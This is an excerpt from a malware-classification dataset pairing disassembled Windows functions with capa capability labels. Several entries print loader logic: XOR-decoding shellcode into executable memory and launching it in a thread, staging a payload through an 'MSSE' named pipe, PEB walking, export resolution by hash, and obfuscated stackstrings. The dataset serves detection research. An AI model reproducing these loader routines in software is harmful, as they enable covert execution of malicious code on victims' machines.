joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008150
Capabilities:
Create thread
Resume thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rdi, rcx
mov rsi, rdx
mov rbx, r8
mov rbp, r9
call sym.pop_pthread_mem
mov r12, rax
test rax, rax
je 0x1400083b9
test rdi, rdi
je 0x14000818a
mov rax, qword [rax + 0x1d8]
mov qword [rdi], rax
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [r12 + 8], rbp
mov dword [r12 + 0x44], 1
mov rbp, qword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [r12 + 0xbc], 0
mov r14, r13
mov qword [r12 + 0x28], 0xffffffffffffffff
mov qword [r12 + 0x10], rbx
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call rbp
mov qword [r12 + 0x30], rax
test rax, rax
jne 0x1400081f7
add ebx, 1
cmp ebx, 1
je 0x140008300
mov ecx, 0x14
call r14
cmp ebx, 5
jne 0x1400081c5
mov qword [r12 + 0x38], 0xffffffffffffffff
lea r14, [r12 + 0x68]
mov rcx, r14
call sym.pthread_spin_destroy
cmp eax, 1
je 0x1400083ff
cmp qword [r12 + 0x30], 0
mov qword [r12 + 0x68], 0xffffffffffffffff
mov dword [r12], 0xbab1f00d
mov dword [r12 + 0xc0], 0
mov dword [r12 + 0xb8], 0
je 0x1400083a2
xor edx, edx
test rsi, rsi
je 0x14000826f
mov eax, dword [rsi]
mov edx, dword [rsi + 0x10]
mov dword [r12 + 0x44], eax
test al, 8
jne 0x1400083d0
mov eax, dword [rsi + 0x18]
mov dword [r12 + 0xc0], eax
lea r8, [sym.pthread_create_wrapper]
mov r9, r12
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
mov r13, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140008360
mov eax, dword [r12 + 0xc0]
mov edx, 0xfffffff1
cmp eax, 0xfffffff2
jge 0x140008330
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [r12 + 0x30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
test byte [r12 + 0x44], 4
jne 0x140008310
mov qword [r12 + 0x28], r13
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
xor ecx, ecx
call r13
jmp 0x1400081c5
mov qword [r12 + 0x28], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400082df
mov edx, 0xfffffffe
cmp eax, 0xffffffff
jl 0x1400082b5
mov edx, 0xf
cmp eax, 0xe
jg 0x1400082b5
cmp eax, 2
mov edx, 2
cmovle edx, eax
jmp 0x1400082b5
mov rcx, qword [r12 + 0x30]
test rcx, rcx
je 0x140008370
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [r12 + 0x38]
call sym.pthread_mutex_destroy
mov rcx, r14
call sym.pthread_spin_destroy
cmp eax, 1
je 0x1400083ff
mov qword [r12 + 0x68], 0xffffffffffffffff
mov qword [r12 + 0x30], 0
mov qword [r12 + 0x28], 0
test rdi, rdi
je 0x1400083ae
mov qword [rdi], 0
cmp qword [r12 + 0x1d0], 0
je 0x1400083f0
mov eax, 0xb
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov dword [rsp + 0x3c], edx
call sym.__pthread_self_lite
mov edx, dword [rsp + 0x3c]
mov eax, dword [rax + 0xc0]
mov dword [r12 + 0xc0], eax
jmp 0x14000826f
mov rcx, r12
call sym.push_pthread_mem.part.0
mov eax, 0xb
jmp 0x1400083be
call sym.replace_spin_keys.part.0
nop
nop word cs:[rax + rax]
Function at 0x140008e40
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140008e60
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140008ea8
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140008e54
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140008e95

Function at 0x140008ed0
Capabilities:
Check mutex on windows

Disassembly:
push r12
sub rsp, 0x20
xor edx, edx
xor ecx, ecx
lea r8, [0x14001b2c0]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140008f88
mov rdx, qword [0x14001b200]
lea rcx, [0x14001b200]
mov rax, qword [rdx + 8]
test rax, rax
je 0x140008f58
cmp rdx, rcx
jne 0x140008f3a
mov qword [rdx], rax
cmp rax, rcx
je 0x140008f3f
nop dword [rax]
test rax, rax
je 0x140008f6a
mov rdx, qword [rdx]
mov qword [rax], rdx
mov rdx, rax
mov rax, qword [rdx + 8]
cmp rax, rcx
jne 0x140008f28
mov rax, qword [rcx + 8]
mov qword [rdx + 8], rax
test rax, rax
je 0x140008f6a
mov rdx, rax
jmp 0x140008f36
lea rcx, [0x14001b300]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140008fa6
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
lea rcx, str.failed_to_to_lock_cleanup_mutex_n
call sym.__shmem_get_error
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
jmp 0x140008f6a
Function at 0x140004000
Capabilities:
Encode data using xor

Disassembly:
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add cl, bl
fxam
push rsp
fxam
push rsp
pop rsi
xor r15, r15
mov r15w, 0x6247
and si, 0xf7d0
movabs rdi, 0x741f1b5ac8d11d20
fxsave64 [rsi]
mov r10, qword [rsi + 8]
dec r15
xor qword [r10 + r15*8 + 0x30], rdi
test r15, r15
jne 0x140004023
push qword [rbp - 0xd]
push 0x6b853094
in eax, dx
jns 0x14000402d
shr ebp, 0x2d
adc dword [rcx + 0x60ca5e7d], edx
jg 0x140003fdb
jno 0x1400040ae
and dword [rdx + rsi*8 + 0x79d69505], eax
adc dl, byte [rcx + rsi*4]
jne 0x1400040b9
sahf
adc al, al
invalid
dec dword [rax + rdx*8 - 0x4cc8f422]
wait
mov ecx, 0x994c896b
cqo
invalid

Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rdx, qword [0x140003050]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rdx, rdx
jne 0x1400010c9
mov rdx, qword [rbx]
mov rcx, qword [0x140003018]
test rcx, rcx
jne 0x1400010d8
mov rcx, qword [rbx]
mov r9, qword [0x140003040]
mov r8d, 1
test r9, r9
setne al
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], al
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rcx
lea rax, [0x140002200]
mov rdx, rbx
mov qword [rsp + 0x38], rax
lea rax, [0x1400021f0]
mov ecx, edi
mov qword [rsp + 0x30], rax
mov rax, qword [0x140003048]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x40194c
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r8d
lea rdx, [0x0043300e]
mov rcx, qword [rbp + 0x10]
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x401984
mov eax, 0
jmp 0x401a57
mov edx, dword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov r8d, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp + 0x20]
lea edx, [rax + 0x3ff]
test eax, eax
cmovs eax, edx
sar eax, 0xa
add eax, 1
shl eax, 0xa
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x4019de
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
mov eax, 0
jmp 0x401a57
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rax, qword [rbp - 0x18]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x20]
movsxd rdx, eax
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov qword [rbp - 0x20], rax
mov eax, dword [rbp + 0x20]
cdqe
cmp qword [rbp - 0x20], rax
je 0x401a47
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.free
mov eax, 0
jmp 0x401a57
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp - 0x18]
add rsp, 0x40
pop rbp
ret

Function at 0x401bca
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
lea rdx, [0x0043300e]
mov rcx, qword [rbp + 0x10]
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x401bfe
mov eax, 0
jmp 0x401d13
mov rax, qword [rbp - 8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.ftell
sub eax, dword [rbp + 0x18]
mov dword [rbp - 0xc], eax
mov edx, dword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov r8d, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp - 0xc]
lea edx, [rax + 0x3ff]
test eax, eax
cmovs eax, edx
sar eax, 0xa
add eax, 1
shl eax, 0xa
mov dword [rbp - 0x10], eax
mov eax, dword [rbp - 0x10]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x401c84
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
mov eax, 0
jmp 0x401d13
mov eax, dword [rbp - 0x10]
movsxd rdx, eax
mov rax, qword [rbp - 0x18]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov qword [rbp - 0x20], rax
mov eax, dword [rbp - 0xc]
cdqe
cmp qword [rbp - 0x20], rax
je 0x401ced
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.free
mov eax, 0
jmp 0x401d13
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
mov edx, dword [rbp - 0xc]
mov rax, qword [rbp - 0x18]
lea r8, str.KRXRLu8SXYOC8RfL
mov rcx, rax
call sym.HuIoykheYrmTMgkE
mov rax, qword [rbp - 0x18]
add rsp, 0x40
pop rbp
ret
Function at 0x140001080
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
lea rcx, [0x140001240]
call sub.ntoskrnl.exe_DbgPrint
mov rax, qword [rsp + 0x30]
lea rcx, [0x1400010d0]
mov qword [rax + 0x68], rcx
call fcn.140001000
mov rdx, rax
lea rcx, [0x140001250]
call sub.ntoskrnl.exe_DbgPrint
xor eax, eax
add rsp, 0x28
ret
Function at 0x401595
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r9d, 4
movsxd rsi, edx
mov rbp, rcx
mov r12, r8
mov rdx, rsi
mov r8d, 0x3000
xor ecx, ecx
mov rdi, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
xor eax, eax
cmp eax, edi
jge 0x4015e1
mov rdx, rax
and edx, 3
mov dl, byte [r12 + rdx]
xor dl, byte [rbp + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x4015c7
mov rcx, rbx
call fcn.00401563
lea r9, [rsp + 0x3c]
mov rdx, rsi
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, [0x00401560]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x401630
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r8d, r8d
mov r9d, 1
mov rdi, rcx
mov esi, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov edx, 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [0x0046c980]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x4016db
xor edx, edx
mov rcx, rbx
lea rbp, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x4016db
test esi, esi
jle 0x4016c5
mov qword [rsp + 0x20], 0
mov r9, rbp
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4016d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4016db
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub esi, edx
jmp 0x4016a2
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x401702
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov rdi, rcx
mov ebx, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea rcx, [0x0046c980]
lea rbp, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
xor eax, eax
cmp rsi, 0xffffffffffffffff
je 0x401799
test ebx, ebx
jle 0x40177e
mov qword [rsp + 0x20], 0
mov r9, rbp
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40178e
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x401799
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub ebx, edx
jmp 0x40175b
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x4017f2
Capabilities:
Create thread

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x00469440]
movsxd rcx, dword [rbx + 4]
call sub.msvcrt.dll_malloc
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rsi, rax
mov ecx, 0x400
call rdi
mov edx, dword [rbx + 4]
mov rcx, rsi
call fcn.00401702
test eax, eax
je 0x4017c3
mov edx, dword [rbx + 4]
lea r8, [rbx + 8]
mov rcx, rsi
call fcn.00401595
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov dword [rsp + 0x50], 0x5c
div ecx
lea rcx, [0x0046c980]
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov r9d, 0x5c
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server
call sub.msvcrt.dll_sprintf
lea r8, [0x004016e4]
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x4017a2

Function at 0x401ed0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, rcx
mov ecx, dword [0x0046c624]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x401ff0
mov rax, qword [0x0046c628]
xor ebx, ebx
add rax, 0x18
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x401f1c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x401fd6
add ebx, 1
add rax, 0x28
cmp ebx, ecx
jne 0x401f00
mov rcx, rsi
call fcn.00402b10
test rax, rax
mov r12, rax
je 0x402028
movsxd rbx, ebx
lea rbx, [rbx + rbx*4]
shl rbx, 3
mov r13, rbx
add r13, qword [0x0046c628]
mov qword [r13 + 0x20], rax
mov dword [r13], 0
call fcn.00402c60
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 0x18], rax
mov rax, qword [0x0046c628]
mov rcx, qword [rax + rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40200b
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401fcf
sub eax, 0x40
and eax, 0xffffffbf
je 0x401fcf
add rbx, qword [0x0046c628]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401ff7
add dword [0x0046c624], 1
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebx, ebx
jmp 0x401f27
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401e60
mov rax, qword [0x0046c628]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.00401e60
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.00401e60
nop
nop dword [rax + rax]
Function at 0x402780
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0046c900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0046c8e0]
test rbx, rbx
je 0x4027d4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4027cb
test rsi, rsi
je 0x4027cb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4027b0
lea rcx, [0x0046c900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402b10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00469310]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x402b30
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.004029f0
test eax, eax
je 0x402b28
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402b8d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x402b84
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x402b28
add rdx, 0x28
cmp rdx, r9
jne 0x402b70
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x14001131b
Capabilities:
Terminate process

Disassembly:
jmp 0x140016a50
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400113f7
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017da0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140017dc0
xor al, al
jmp 0x140017e41
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017dd3
xor al, al
jmp 0x140017e41
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140017dfd
xor al, al
jmp 0x140017e41
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017e11
xor al, al
jmp 0x140017e41
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017e23
xor al, al
jmp 0x140017e41
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140017e3f
xor al, al
jmp 0x140017e41
mov al, 1
add rsp, 0x38
ret
Function at 0x180002090
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x18002add0]
test rax, rax
jne 0x1800020e1
mov rax, qword gs:[0x60]
mov rdi, qword [rax + 0x18]
add rdi, 0x10
mov rbx, qword [rdi]
jmp 0x1800020d3
movzx edx, word [rbx + 0x58]
mov rcx, qword [rbx + 0x60]
call fcn.18000245c
cmp eax, 0x4b1ffe8e
je 0x1800020ec
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x1800020bc
xor eax, eax
mov qword [0x18002add0], rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x30]
jmp 0x1800020da

Function at 0x1800021dc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
xor ebp, ebp
mov edi, edx
mov r10, rcx
mov r9d, dword [rax + rcx + 0x88]
mov esi, dword [rax + rcx + 0x8c]
add r9, rcx
mov eax, edx
shr eax, 0x10
test ax, ax
jne 0x180002220
movzx eax, di
sub eax, dword [r9 + 0x10]
jmp 0x18000228c
mov edx, dword [r9 + 0x20]
mov ebx, ebp
mov ecx, dword [r9 + 0x24]
add rdx, r10
add rcx, r10
cmp dword [r9 + 0x18], ebp
jbe 0x180002272
mov r11d, dword [rdx]
add r11, r10
jne 0x180002244
or r8d, 0xffffffff
jmp 0x18000225d
mov r8d, ebp
jmp 0x180002256
rol r8d, 7
movsx eax, al
xor r8d, eax
inc r11
mov al, byte [r11]
test al, al
jne 0x180002249
cmp r8d, edi
je 0x180002289
add rdx, 4
add rcx, 2
inc ebx
cmp ebx, dword [r9 + 0x18]
jb 0x180002236
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
movzx eax, word [rcx]
test eax, eax
js 0x180002272
mov ecx, dword [r9 + 0x1c]
add rcx, r10
movsxd rdx, eax
mov r8d, dword [rcx + rdx*4]
add r8, r10
cmp r8, r9
jbe 0x1800022bc
mov rdx, r8
sub rdx, r9
cmp rdx, rsi
jae 0x1800022bc
mov rcx, r8
call fcn.1800020f4
mov r8, rax
mov rax, r8
jmp 0x180002274
Function at 0x180002da8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x180029008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x28], 0x2e
xor eax, eax
mov byte [rbp - 0x24], 0x63
xor r8d, r8d
mov byte [rbp - 0x23], 0x5b
mov byte [rbp - 0x22], 0x42
mov byte [rbp - 0x21], 0x5a
mov byte [rbp - 0x20], 0x47
mov byte [rbp - 0x1f], 0x6c
mov byte [rbp - 0x1e], 0x57
mov byte [rbp - 0x1d], 0x5a
mov byte [rbp - 0x1c], 0x4b
mov byte [rbp - 0x1b], 0x7a
mov byte [rbp - 0x1a], 0x41
mov byte [rbp - 0x19], 0x79
mov byte [rbp - 0x18], 0x47
mov byte [rbp - 0x17], 0x4a
mov byte [rbp - 0x16], 0x4b
mov byte [rbp - 0x15], 0x6d
mov byte [rbp - 0x14], 0x46
mov byte [rbp - 0x13], 0x4f
mov byte [rbp - 0x12], 0x5c
mov byte [rbp - 0x11], al
mov al, byte [rbp - 0x24]
movsx edx, byte [rbp + r8 - 0x24]
mov eax, dword [rbp - 0x28]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rbp + r8 - 0x24], al
inc r8
cmp r8, 0x13
jb 0x180002e1d
mov byte [rbp - 0x11], 0
mov dword [rbp - 0x40], 0x22
mov eax, dword [rbp - 0x40]
xor eax, 0x4b
mov byte [rbp - 0x3c], al
mov eax, dword [rbp - 0x40]
inc al
xor eax, 0x65
mov byte [rbp - 0x3b], al
mov eax, dword [rbp - 0x40]
add al, 2
xor eax, 0x72
mov byte [rbp - 0x3a], al
mov eax, dword [rbp - 0x40]
add al, 3
xor eax, 0x6e
mov byte [rbp - 0x39], al
mov eax, dword [rbp - 0x40]
add al, 4
xor eax, 0x65
mov byte [rbp - 0x38], al
